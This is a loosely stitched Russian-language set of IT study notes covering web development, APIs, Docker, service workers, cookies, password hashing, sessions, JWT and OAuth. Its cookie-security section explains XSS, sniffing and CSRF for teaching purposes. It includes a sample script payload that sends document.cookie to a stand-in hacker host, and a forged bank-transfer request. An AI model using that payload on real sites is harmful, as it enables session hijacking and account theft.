___ Термины в области IT 2026.

Она предоставляет готовые инструменты для бэкенда: базы данных реального времени, аутентификацию, хостинг, аналитику и отслеживание ошибок, что позволяет разработчикам не создавать серверную часть с нуля.

это бесплатная веб-платформа от Google для прототипирования и разработки приложений на базе моделей Gemini. Она позволяет разработчикам тестировать промпты, настраивать модели (fine-tuning), получать API-ключи и экспортировать код для создания ИИ-сервисов. Платформа поддерживает мультимодальность (текст, изображения, видео). Хабр +4

Ключевые возможности и особенности:

• Доступ к моделям Gemini: Возможность использовать последние модели, включая Gemini 2.0 Flash.
• Создание и тестирование: Инструменты для создания промптов, настройки системных инструкций и интеграции с Google Диском.
• API и интеграция: Получение ключей для встраивания Gemini в свои приложения, бесплатный лимит — до 60 запросов в минуту.
• Раздел Build: Среда для быстрой разработки (вайб-кодинга), позволяющая создавать структуру приложений.
• Мультимодальность: Поддержка анализа текста, изображений и файлов.
• Бесплатный доступ: Большинство функций доступны бесплатно, что делает его удобным инструментом для экспериментов. Хабр +6

Google AI Studio используется для быстрого перехода от идеи к рабочему прототипу без сложной настройки окружения.

Tailwind CSS через CDN (не через PostCSS/сборщик)
Это значит, что вы подключаете Tailwind к своему проекту максимально простым способом (но не для продакщена, а быстро показать. много потребляет интернета) — через одну строчку в HTML, без установки Node.js, npm и сложных настроек сборки.

A2A (Agent2Agent) помогает одному агенту общаться с другим агентом как с коллегой. В контексте экосистемы Google Agents (и особенно в связке с протоколом Agent2Agent), ADK расшифровывается как Agent Development Kit (Набор для разработки агентов). https://1.cbm.ua/?p=9313

MCP помогает ИИ-модели подключаться к инструментам и данным (например, к вашей Google-таблице или базе данных).

https://gemini.google.com/app/32eda348ba848044

CRUD — это акроним, который расшифровывается как:

Совет: Всегда начинай проект с «обнуления» (reset/normalize), где для всех элементов прописано box-sizing: border-box.

Что изучить: Разницу между content-box и border-box.

Почему это важно: Если ты не используешь box-sizing: border-box, то добавление padding или border увеличивает физический размер элемента, выталкивая соседние блоки.

Браузер читает код как текст: слева направо и сверху вниз.

Почему это важно: Дизайн ломается, когда ты пытаешься заставить строчный элемент (например, <a> или <span>) вести себя как блок, не меняя его тип. Пойми, как элементы «расталкивают» друг друга.

Что изучить: Блочные (display: block) vs Строчные (display: inline) vs Строчно-блочные (inline-block) элементы.

Flexbox: Для одномерных структур (ряды или колонки). Изучи flex-shrink и flex-grow — именно они чаще всего «схлопывают» контент. Для выравнивания элементов в один ряд или колонку (идеально для кнопок в ряд, карточек).

CSS Grid: Для двумерных макетов. Пойми концепцию «фракций» (fr) и того, как сетка удерживает элементы в жестких рамках. Для построения целых сеток страницы (двумерные макеты).

Главный секрет: Пойми разницу между align-items (выравнивание внутри линии) и align-content (выравнивание самих линий).

Практика: Открой любой сломавшийся сайт, нажми F12.

Что искать: Вкладку Computed. Она показывает финальные значения свойств, которые применил браузер, отбрасывая весь твой код. Если блок шире, чем надо, смотри именно там, откуда прилетели лишние пиксели.

Пойми, что absolute ищет ближайшего родителя с position: relative.

Она учитывает ограниченный размер экрана и скорость интернета, обеспечивая удобство пользователей, а также является стандартом для SEO-индексации Google. Хабр +3

Основные принципы и особенности Mobile-first

• Прогрессивное развитие: Сначала создается база с самым важным контентом для маленького экрана, а затем функционал расширяется для десктопов.
• Минимализм и фокус: Дизайн, ориентированный на касания (пальцы), большие кнопки и структурированный контент.
• Скорость загрузки: Оптимизация для мобильных сетей.
• SEO-индексация: Google использует мобильную версию сайта как основную для ранжирования. Хабр +3

Почему Mobile-first важен?

1. Высокий мобильный трафик: Большинство пользователей заходят в интернет со смартфонов.
2. Поведенческие факторы: Удобный мобильный сайт увеличивает конверсию (покупки, заказы).
3. Индексация: Сайт без мобильной версии или с плохой адаптацией теряет позиции в поисковой выдаче. Журнал «Код +3

Отличие от других подходов

• Mobile-first: Сначала проектируют для мобильных, затем для десктопов.
• Desktop-first: Сначала делают десктоп, затем «урезают» его для телефонов.
• Адаптивный/Отзывчивый дизайн: Технический прием подстройки, а Mobile-first — это идеология проектирования. Дока +1

В 2025 году, когда доля мобильного трафика превышает 65-70%, использование принципа Mobile-first — необходимость для современного бизнеса

Совет от «бывалого»: Когда что-то ломается, не гадай. Добавь временную обводку всем элементам: * { outline: 1px solid red; }. Ты сразу увидишь, какой невидимый блок вылез за края и сломал тебе жизнь.

Что учить: width, height, padding, border, margin.
Зачем: Пока не поймёшь, как размеры складываются друг с другом, элементы будут «выпрыгивать» из родительских блоков.

Что учить: block, inline, inline-block и none.
Зачем: Это база «нормального потока» документа.

Что учить: static, relative, absolute, fixed, sticky.
Зачем: Чтобы делать закреплённые шапки, выпадающие меню и элементы, накладывающиеся друг на друга.

https://apidog.com/blog/claude-chrome-devtools-mcp/
https://github.com/ChromeDevTools/chrome-devtools-mcp
https://code.claude.com/docs/en/mcp

https://gemini.google.com/app/1e24c2a9481a8d0e
Chrome DevTools MCP (Инструмент для разработчика)
claude-in-chrome (Инструмент для пользователя)
chrome://inspect/#devices — запустить в браузере чтобы подключиться к браузеру на телефоне по USB и управлять на ПК браузером телефона. Если ты откроешь chrome://inspect/#devices, ты увидишь там список всех открытых вкладок этого браузера.

для доступпа ИИ (например Claude) Chrome DevTools (claude-in-chrome) и 
Плагины Playwright MCP и Puppeteer MCP — это инструменты, которые позволяют ИИ-моделям (например, Claude или другим агентам, поддерживающим протокол MCP) напрямую управлять браузером на вашем компьютере.

Сравнение Playwright vs Puppeteer (в контексте MCP)

Отличное продолжение! API (Application Programming Interface) — это, пожалуй, самое важное понятие в современной разработке. Если не углубляться в дебри определений, то:

API — это «меню» в ресторане. > Ты (клиент) не идешь на кухню и не смотришь, как повар режет морковку. Ты смотришь в меню, выбираешь «Блюдо №5» и ждешь результат. API — это список правил, по которым одна программа может попросить что-то у другой.

Как это работает на практике?

Представь, что ты делаешь сайт с прогнозом погоды. Тебе не нужно строить свою метеостанцию. Ты идешь к сервису (например, OpenWeather) и используешь их API.

1. Запрос (Request): Твой сервер отправляет «письмо» по адресу: https://api.weather.com/v1/current?city=Moscow&units=metric.

2. Ключ (API Key): Чтобы сервис знал, кто спрашивает (и выставил счет, если запросов слишком много), ты прикрепляешь свой уникальный ключ.

3. Ответ (Response): Сервер погоды присылает тебе тот самый JSON, о котором мы говорили: {"temp": 22, "condition": "sunny"}.

Главные стили «меню» (Архитектуры API)

В мире IT сейчас борются три основных подхода:

1. REST (самый популярный)

Это классика. Здесь всё строится вокруг ресурсов и стандартных команд (глаголов) HTTP:

• GET /users — дай список пользователей.

• POST /users — создай нового пользователя.

• DELETE /users/1 — удали пользователя №1.

• Плюс: Просто, понятно, работает везде.

2. GraphQL (выбор Facebook)

Представь, что в обычном REST ты просишь данные о пользователе, и тебе прилетает огромная «портянка» на 100 строк: имя, адрес, друзья, все лайки за 5 лет… А тебе нужно только его имя.

• В GraphQL ты сам пишешь запрос: { user(id: 1) { name } }.

• Сервер пришлет только имя. Ни байта лишнего трафика. Это обожают мобильные приложения.

3. Webhooks (API «наоборот»)

Обычно ты спрашиваешь сервер: «Ну что, пришла оплата? А сейчас? А сейчас?». Это нагружает сеть.

• Webhook работает иначе: ты говоришь серверу оплаты: «Вот мой адрес. Как только деньги придут — сам мне позвони». И сервер оплаты присылает тебе запрос в момент события.

Почему API — это основа современной экономики?

Сегодня компании продают не программы, а доступ к своим API:

• Stripe / PayPal: API для приема денег.

• Twilio: API для отправки SMS.

• OpenAI (ChatGPT): API, чтобы любая программа могла «думать».

Интересный факт: Твой смартфон — это по сути коллектор API. Когда ты заказываешь такси, приложение одновременно стучится в API карт (Google Maps), API оплаты (банк) и API геолокации (GPS в телефоне).

• Nginx
• Apache

SYN (Синхронизация): Твой браузер посылает сигнал: «Привет, сервер! Я хочу передать данные, ты меня слышишь?»

SYN-ACK (Подтверждение): Сервер отвечает: «Привет! Да, слышу отлично. Ты меня тоже слышишь? Я готов принимать».

ACK (Подтверждение): Браузер отвечает: «Да, слышу. Начинаю отправку».

Только после этого «ритуала» начинается передача данных. Это нужно, чтобы пакеты информации не потерялись в пути и дошли в правильном порядке.

Бэкенд (через ORM) сохранил данные в БД (SQL или NoSQL).

Когда мы говорим об императивном и декларативном подходах, мы обсуждаем парадигмы программирования — то есть «стили» мышления и написания кода.

Если кратко вспомнить базу:

• Императивный: «Как это сделать?» (пошаговый алгоритм, изменение состояния).

• Декларативный: «Что я хочу получить?» (описание результата без уточнения шагов).

Но мир программирования ими не ограничивается. Вот основные «игроки» и их отличия.

Основные парадигмы и их суть

Помимо двух главных гигантов, существуют специализированные и производные подходы:

1. Функциональная парадигма (подмножество декларативной)

Здесь программа рассматривается как вычисление математических функций.

• Главная фишка: Избегание изменения состояния и мутаций данных.

• Пример: Вместо цикла for, который меняет переменную-счетчик, вы используете map или filter.

• Языки: Haskell, Lisp, Elixir (и элементы в JS/Python).

2. Объектно-ориентированная (ООП) (подмножество императивной)

Программа строится вокруг объектов, а не логики. Объект — это сущность, объединяющая данные (поля) и поведение (методы).

• Главная фишка: Инкапсуляция, наследование и полиморфизм. Мы моделируем реальный мир.

• Языки: Java, C#, C++.

3. Реактивная парадигма

Ориентирована на потоки данных и распространение изменений.

• Суть: Если переменная A изменилась, то переменная B, которая от нее зависит, обновится автоматически.

• Пример: Электронные таблицы Excel — поменяли одну ячейку, и все формулы пересчитались сами. Или RxJS в вебе.

4. Логическая парадигма

Основана на математической логике. Вы описываете факты и правила, а компьютер делает выводы.

• Суть: «Сократ — человек. Все люди смертны. Смекаешь, компьютер?» — «Сократ смертен».

• Языки: Prolog.

Сравнение в одной таблице

Почему их так много?

Современные языки программирования (Python, JavaScript, Swift, Rust) — мультипарадигменные. Это значит, что вы можете писать на них как в императивном стиле, так и в функциональном или ООП, в зависимости от задачи.

• Нужно быстро посчитать массив? Берем декларативный reduce.

• Нужно построить сложную систему онлайн-банка? Берем ООП.

• Нужно работать с большими данными без ошибок? Берем функциональный подход.

Это значит, что вы подключаете Tailwind к своему проекту максимально простым способом — через одну строчку в HTML, без установки Node.js, npm и сложных настроек сборки.

Обычно Tailwind требует «сборки» (через PostCSS или CLI), чтобы просканировать ваши файлы и создать маленький CSS-файл только с теми классами, которые вы использовали. Play CDN делает всё это прямо в браузере «на лету».

Как это выглядит в коде

Вам достаточно добавить этот скрипт в <head> вашего HTML-файла:

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-gray-100 flex items-center justify-center h-screen">
  <h1 class="text-3xl font-bold text-blue-600 underline">
    Привет, Tailwind!
  </h1>
</body>
</html>

В чем разница?

Плюсы и минусы этого подхода

Почему это круто (Плюсы):

• Никакого «ада зависимостей»: Вам не нужно знать, что такое package.json или webpack.

• Идеально для тестов: Хотите быстро набросать интерфейс и показать заказчику? Это ваш выбор.

• Работает везде: Даже в обычном файле index.html на рабочем столе.

О чем стоит помнить (Минусы):

• Не для «продакшена»: Официальная документация Tailwind не рекомендует использовать CDN на реальных живых сайтах, так как это замедляет загрузку страницы для пользователя.

• Сложность кастомизации: Настроить свои цвета или шрифты сложнее (нужно писать специальный скрипт конфигурации в HTML).

Вердикт: Если вы только учитесь или делаете проект «на коленке» за 15 минут — используйте CDN. Если планируете серьезный сайт — лучше разобраться со сборщиком.

Код, сгенерированный нейросетью, должен проверяться в два раза строже. Ревьюер должен спрашивать не «работает ли это?», а «почему выбрано именно это решение и какие у него ограничения?».

Стать ИТ-архитектором — это переход от вопроса «Как это закодировать?» к вопросу «Почему мы строим это именно так?».
Архитектор оперирует не функциями, а блоками системы и связями между ними.

Масштабируемость (Оркестрация): Если завтра на твой сайт придет миллион человек, тебе нужно не один сервер с кодом, а сто. С Docker тебе не надо сто раз настраивать сервер вручную. Ты просто говоришь системе (например, Kubernetes): «Размножь этот контейнер 100 раз», и он разворачивается идентично за секунды.

Легкость (в отличие от Виртуальных машин): Виртуальная машина весит гигабайты и везет с собой целую операционную систему (Windows или Linux). Docker-контейнер использует ядро основной системы, поэтому он весит мегабайты и запускается мгновенно.

CI/CD (Автоматизация): Когда программист нажимает кнопку «Отправить код», робот сам собирает новый Docker-образ, тестирует его и подменяет старый контейнер на сервере без остановки сайта.

Workbox упрощает кэширование ресурсов, например, HTML, CSS, JavaScript и изображений. Он позволяет создавать разные стратегии кэширования для разных типов данных, обеспечивая оффлайн доступ и быструю загрузку. Также он упрощает обновление service worker.

Он может перехватывать запросы пользователя, кэшировать ресурсы и работать оффлайн. Кэширование происходит по настроенным стратегиям: можно кэшировать сразу при запросе, при установке или по другим правилам. А обновление происходит, когда Service Worker обнаруживает изменения, например, в файле манифеста или скриптах, и тогда он постепенно обновляется.
Смотри, Service Worker работает как прокси: он перехватывает запросы приложения и решает, откуда их брать — из кэша или с сервера. Когда ты обновляешь приложение, Service Worker скачивает новую версию в отдельный кэш. При этом старая версия продолжает работать, чтобы пользователь не заметил downtime. Полное обновление происходит, когда пользователь закрывает и снова открывает приложение.
Есть несколько основных стратегий. Например,
  ‘Cache first‘ сначала ищет ресурсы в кэше, и только потом, если не находит, обращается к сети.
   ‘Network first‘ наоборот, сначала пытается загрузить из сети, а в случае неудачи берет из кэша.
    Есть еще ‘Stale while revalidate‘, который отдает из кэша сразу, пока параллельно обновляет его в фоновом режиме.

SSR (Server Side Rendering): Сервер берет HTML-шаблон, вставляет туда данные из базы и отправляет тебе готовую «страницу-картинку».

SPA (Single Page Application): Сервер отправляет тебе пустой HTML-скелет и огромный файл JavaScript. Этот JS сам «рисует» весь сайт прямо у тебя в браузере.

В то время как UX-дизайн оптимизирует пользовательский опыт и структуру (User Experience), UI-дизайн фокусируется на визуальном оформлении, цветах и ​​взаимодействиях (User Interface) для создания единого, эстетически привлекательного бренда.
Ключевые различия и сотрудничество:

Контекст: UI-дизайнер создает высококачественную графику на основе спецификаций UX, чтобы установить эмоциональную связь. Обе области работают в тесном взаимодействии для достижения оптимального результата. 

UX-дизайн (пользовательский опыт):Этот вид дизайна отвечает на вопрос: «Как это работает?». Он носит аналитический, исследовательский характер и включает в себя исследование пользователей, прототипирование и создание каркасов интерфейса, чтобы помочь пользователю ориентироваться в продукте.

Дизайн пользовательского интерфейса(Пользовательский интерфейс):Оно отвечает на вопрос: «Как это выглядит?». Оно формирует «внешний вид и ощущения», включая дизайн экранов, системы проектирования и интерактивные элементы..

Задачи в UX/UI-дизайне:

• UX: Опросы пользователей, пользовательские сценарии, информационная архитектура, тестирование юзабилити.
• UI: Визуальный дизайн, дизайн взаимодействия, адаптивная верстка, руководства по стилю, высококачественные прототипы. Reizwerk GmbH +4

В итоге, UX-дизайнер обеспечивает логичный и бесшовный пользовательский опыт, а UI-дизайнер делает этот опыт визуально привлекательным и технически осуществимым.

мы говорили про Cookie и «паспорт»? Вот тут они и спасают ситуацию.

Даже если ты в консоли браузера (F12) напишешь команду deletePost(123), твой браузер всё равно обязан отправить этот запрос на сервер (бэкенд). Вместе с этим запросом браузер автоматически прикрепит твои Cookie (твой «паспорт»).

Процесс на сервере выглядит так:

1. Сервер получает запрос: «Удалить пост №123».
2. Он смотрит на прикрепленные куки: «Так, это запрос от пользователя @hacker».
3. Сервер лезет в свою базу данных и проверяет: «А имеет ли @hacker права на удаление поста №123?».
4. Видит, что нет, и отвечает ошибкой: 403 Forbidden (Доступ запрещен).

Золотое правило: Фронтенд может рисовать любые красивые кнопки «Админка», но реальное действие совершит только сервер после проверки «паспорта».

Что делает сборщик:

Он «сжимает» код (удаляет пробелы, сокращает названия переменных), чтобы файл весил меньше.

Он смотрит на твой главный файл и идет по цепочке импортов.

Он собирает все эти 50 файлов, картинки и стили в один (или несколько) компактных файлов — бандлов (bundles).

Это то, что ты, возможно, не вспомнил. Чтобы не гонять тяжелый текстовый JSON, микросервисы внутри своей сети часто общаются на gRPC. Это бинарный формат (нули и единицы), который компьютер понимает мгновенно, без парсинга текста.

Чтобы «паспорт» был в безопасности, современный разработчик вешает на куку три «замка»: Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict

SameSite — не дает использовать куку с других сайтов.
HttpOnly — не дает украсть через JS.
Secure — не дает перехватить в открытой сети.
XSS (Cross-Site Scripting) — Внедрение кода

Это самый классический способ. Представь, что на сайте есть форум или раздел комментариев.

• Атака: Хакер пишет комментарий, но вместо текста вставляет скрипт: <script>fetch('https://hacker.com/steal?data=' + document.cookie)</script>.
• Что происходит: Если сайт плохо защищен, этот скрипт сохранится в базе. Когда ты откроешь страницу, чтобы почитать комментарии, твой браузер выполнит этот код. Скрипт возьмет твои куки (document.cookie) и незаметно отправит их на сервер хакера.
• Защита: Программисты ставят на куки флаг HttpOnly. Если этот флаг есть, JavaScript вообще не может прочитать куки — их видит только браузер при отправке запроса. Это «броня» против XSS.

2. Сниффинг (Перехват в сети)

Если ты сидишь в кафе через открытый Wi-Fi, а сайт работает по старому протоколу HTTP (без буквы S), все твои данные летают по воздуху в виде открытого текста.

• Атака: Хакер с помощью специальной программы-сниффера «слушает» эфир и просто выцепляет из твоих HTTP-заголовков строку с куками.
• Защита: Протокол HTTPS (шифрование) и флаг куки Secure. Флаг Secure говорит браузеру: «Никогда не отправляй эту куку, если соединение не зашифровано».

3. CSRF (Cross-Site Request Forgery) — Подделка запроса

Тут хакер даже не крадет куки, он ими пользуется, пока ты ничего не подозреваешь.

Защита: Флаг куки SameSite. Он запрещает браузеру прикреплять куки к запросам, которые пришли со сторонних сайтов.

Атака: Ты залогинен в банке. В соседней вкладке ты открываешь сомнительный сайт с мемами. В коде этого сайта спрятана невидимая форма, которая отправляет запрос на bank.com/transfer?to=hacker.

Что происходит: Браузер видит запрос к банку и — по доброте душевной — автоматически прикрепляет твои банковские куки (ведь ты там залогинен!). Банк видит запрос с твоим «паспортом» и переводит деньги.

Этап 1: Как сервер «забывает» твой пароль (Hashing)

Когда ты регистрируешься, сервер берет твой пароль и прогоняет его через математическую мясорубку — Хэш-функцию (например, Argon2 или bcrypt).

• Хэширование — это необратимый процесс. Из пароля можно получить строку x8j2..., но из этой строки невозможно вычислить пароль обратно.

• Соль (Salt): Чтобы хакеры не могли подобрать пароль по словарям готовых хэшей, сервер добавляет к твоему паролю случайную строку «соль» (например, abcde + P@ssword123).

Итог: В базе данных хранится только Хэш + Соль. Когда ты логинишься снова, сервер заново смешивает твой ввод с солью, хэширует и сравнивает результат с тем, что в базе. Совпало? Проходи!

Этап 2: Как ты остаешься «в системе»

После того как ты ввел верный пароль, сервер не хочет заставлять тебя вводить его при каждом клике. Ему нужно выдать тебе временный «пропуск». Есть два основных способа это сделать:

1. Сессии (Session-based) — Традиционный путь

Сервер генерирует случайную длинную строку — Session ID (например, sess_987654).

• На сервере: В базе данных или быстрой памяти (Redis) создается запись: sess_987654 = пользователь Иван.

• У тебя: Сервер отправляет этот ID в Cookie.

• Работа: Каждый раз, когда ты открываешь страницу, браузер молча шлет эту куку. Сервер смотрит в свою память: «Ага, сессия 987654 — это Иван. Показываю его профиль».

Плюс: Сессию можно мгновенно аннулировать (например, кнопкой «Выйти на всех устройствах»). Сервер просто удалит запись у себя, и твоя кука станет бесполезной тыквой.

2. Токены (JWT — JSON Web Token) — Современный путь (для SPA)

Этот способ не требует от сервера хранить сессии в памяти. Сервер выдает тебе «заламинированный пропуск» (токен).

• Токен состоит из трех частей:

  1. Данные: {"user_id": 5, "role": "admin", "exp": "2026-03-05"} (срок действия).

  2. Подпись: Сервер подписывает эти данные секретным ключом, который знает только он.

• У тебя: Браузер хранит этот длинный код (обычно в LocalStorage или Cookie).

• Работа: При каждом запросе JS отправляет этот токен. Сервер не лезет в базу данных! Он просто проверяет подпись своим ключом. Если подпись верна — значит, токен выдал он, и данным можно верить.

Плюс: Это работает очень быстро и масштабируемо. Минус: Отозвать такой токен до истечения его срока действия сложнее (он живет сам по себе).

Почему авторизация «слетает»?

1. Истекло время (TTL): Программист поставил срок жизни сессии/токена (например, 2 недели).

2. Очистка кук: Ты сам удалил данные браузера.

3. Безопасность: Сервер заметил, что ты зашел с IP-адреса другой страны, и на всякий случай аннулировал сессию, чтобы защитить тебя.

Интересно ли тебе узнать, как работает «Вход через Google/VK» (OAuth)? Там ведь ты даже не вводишь пароль на самом сайте, но он как-то понимает, кто ты.

Как это работает «под капотом» (на пальцах):

Допустим, ты хочешь войти на сайт «КрутыеОбои.ру» через Google.

1. Запрос: Ты жмешь кнопку «Войти через Google». Сайт перенаправляет тебя на специальную страницу самого Google.

   Важно: Адрес в строке браузера меняется на accounts.google.com. Сайт «Обои» в этот момент ничего не видит.

2. Разрешение: Google спрашивает тебя: «Эй, сайт «КрутыеОбои» хочет узнать твой email и имя. Разрешаешь?». Ты жмешь «Да».

3. Секретный код: Google отправляет тебя обратно на сайт «Обои», но в хвосте ссылки передает временный Код авторизации (похож на ?code=abc123...).

4. Обмен за кулисами: Теперь сервер сайта «Обои» берет этот код и напрямую (по внутреннему каналу, который ты не видишь) звонит серверу Google:

   • «Привет, Google! Мне тут юзер принес код abc123. Это твой?»

   • Google отвечает: «Да, всё верно. Вот тебе его Access Token (ключ)».

5. Финал: Сайт «Обои» использует этот ключ, чтобы спросить у Google: «А как зовут владельца этого ключа?». Google отдает имя «Иван» и email.

Всё! Регистрация завершена.

Почему это гениально?

• Безопасность для пользователя: Ты не доверяешь свой пароль подозрительному сайту. Твой пароль знает только Google.

• Контроль: В настройках Google ты можешь в любой момент нажать кнопку «Отозвать доступ», и сайт «Обои» больше не сможет войти в твой аккаунт.

• Минимализм данных (Scopes): При входе сайт запрашивает только то, что ему нужно (например, только email). Он не получает доступ к твоим письмам или Google Диску, если ты сам не поставишь галочку.

Когда всё закончилось, сайт получает два ключа:

Refresh Token: Живет долго (месяцы). Когда первый ключ протухает, сайт использует этот «запасной ключ», чтобы тихо получить новый Access Token у Google, не заставляя тебя снова жать кнопку «Войти».

Access Token: Короткоживущий (например, на 1 час). С ним сайт ходит в Google за твоими данными.

Chrome Remote Debugging через USB — это мощный инструмент для разработчиков, который позволяет «заглянуть под капот» сайта или веб-приложения, запущенного на мобильном устройстве (обычно Android), используя привычную панель инструментов Chrome DevTools на компьютере.

Самый популярный вариант. Выглядит как мини-версия Chrome DevTools. Позволяет смотреть Console, Elements (DOM), Network и даже Resources (localStorage/Cookies).

Аналог от Tencent. Более лаконичный, очень стабильный, часто используется для отладки внутри мобильных WebView (например, в WeChat или Telegram-ботах).

 — это программный компонент (встроенный браузер), позволяющий отображать веб-страницы (HTML, CSS, JS) непосредственно внутри мобильного или десктопного приложения, не открывая внешний браузер. Это позволяет создавать «гибридные» приложения, объединяющие возможности веб-сайтов и нативных программ.
Основные характеристики и применение WebView:

• Принцип работы: Представляет собой окно браузера без адресной строки, встроенное в интерфейс приложения.
• Использование: Часто применяется для отображения контента, авторизации (соцсети), отображения рекламы или создания полноценных приложений на основе веб-сайта.
• Преимущества: Ускоряет разработку (один код для Android/iOS), упрощает обновление контента (обновляется на сервере) и экономит ресурсы устройства.
• Примеры: Android System WebView (на базе Chrome), WebView в iOS (на базе Safari). Garpix +6

WebView позволяет приложениям, таким как новостные ленты или социальные сети, быстро загружать интерактивные страницы, сохраняя пользователя внутри своей экосистемы.

Это почти полная копия Chrome DevTools, работающая через удаленный сервер. Ты подключаешь скрипт на сайт, открываешь админку Chii на ПК и видишь интерфейс, идентичный стандартному F12.

Основные возможности и использование:

• Мгновенный доступ: Создает публичный URL (например, https://random.ngrok-free.app), который перенаправляет запросы на локальный порт.
• Удобство для разработчиков: Идеально подходит для тестирования вебхуков (Stripe, GitHub), мобильных приложений и показа демо-версий клиентам без деплоя на сервер.
• Безопасность: Обеспечивает защиту, заменяя необходимость открытия портов на роутере, но иногда используется злоумышленниками, из-за чего может ошибочно помечаться антивирусами.
• Универсальность: Поддерживает не только веб-сайты, но и SSH, базы данных (Postgres), а также специализированные сервисы (например, Minecraft). Ngrok +2

ngrok работает как единая платформа входящего трафика, заменяя сложные настройки обратного прокси-сервера. 

Ключевые компоненты SDK:

Примеры кода: Образцы для быстрого старта.

Библиотеки кода (API): Готовые фрагменты программного кода, которые можно использовать вместо написания с нуля.

Документация: Инструкции и руководства по использованию инструментов.

Инструменты отладки и тестирования: Помогают находить ошибки и анализировать производительность.

Компиляторы/интерпретаторы: Инструменты для перевода кода в работающее приложение.
Зачем нужен SDK?

Повышение качества: Использование протестированных библиотек уменьшает количество ошибок. 

Ускорение разработки: Не нужно писать сложные функции (например, авторизацию, оплату или карты) с нуля.

Снижение сложности: SDK упрощает интеграцию с платформой или сервисом, так как предоставляет готовый «конструктор».
Примеры SDK:

Facebook SDK: Позволяет встроить «лайки» и авторизацию через Facebook в приложение.

Android SDK: Инструменты для создания Android-приложений.

iOS SDK: Комплект для разработки под Apple iOS.
Разница между SDK и API:

SDK — это более широкое понятие, которое включает в себя API, а также библиотеки, документацию и инструменты для реализации этого взаимодействия. Можно сказать, что API — это возможность «постучать» в дверь, а SDK — это готовый комплект: дверь, ключ от нее, инструкция по установке и инструменты для ремонта.

API — это только интерфейс взаимодействия, набор правил, по которым программы общаются друг с другом.

Onboarding (Онбординг) и Product Tour (Продукт-тур) — это процессы и инструменты в маркетинге и UX-дизайне, направленные на знакомство нового пользователя с продуктом (приложением, сайтом, сервисом), чтобы помочь ему быстро понять ценность продукта и научить им пользоваться.
Простыми словами, это «экскурсия» и обучение, которые помогают новичку не растеряться и сразу начать получать пользу.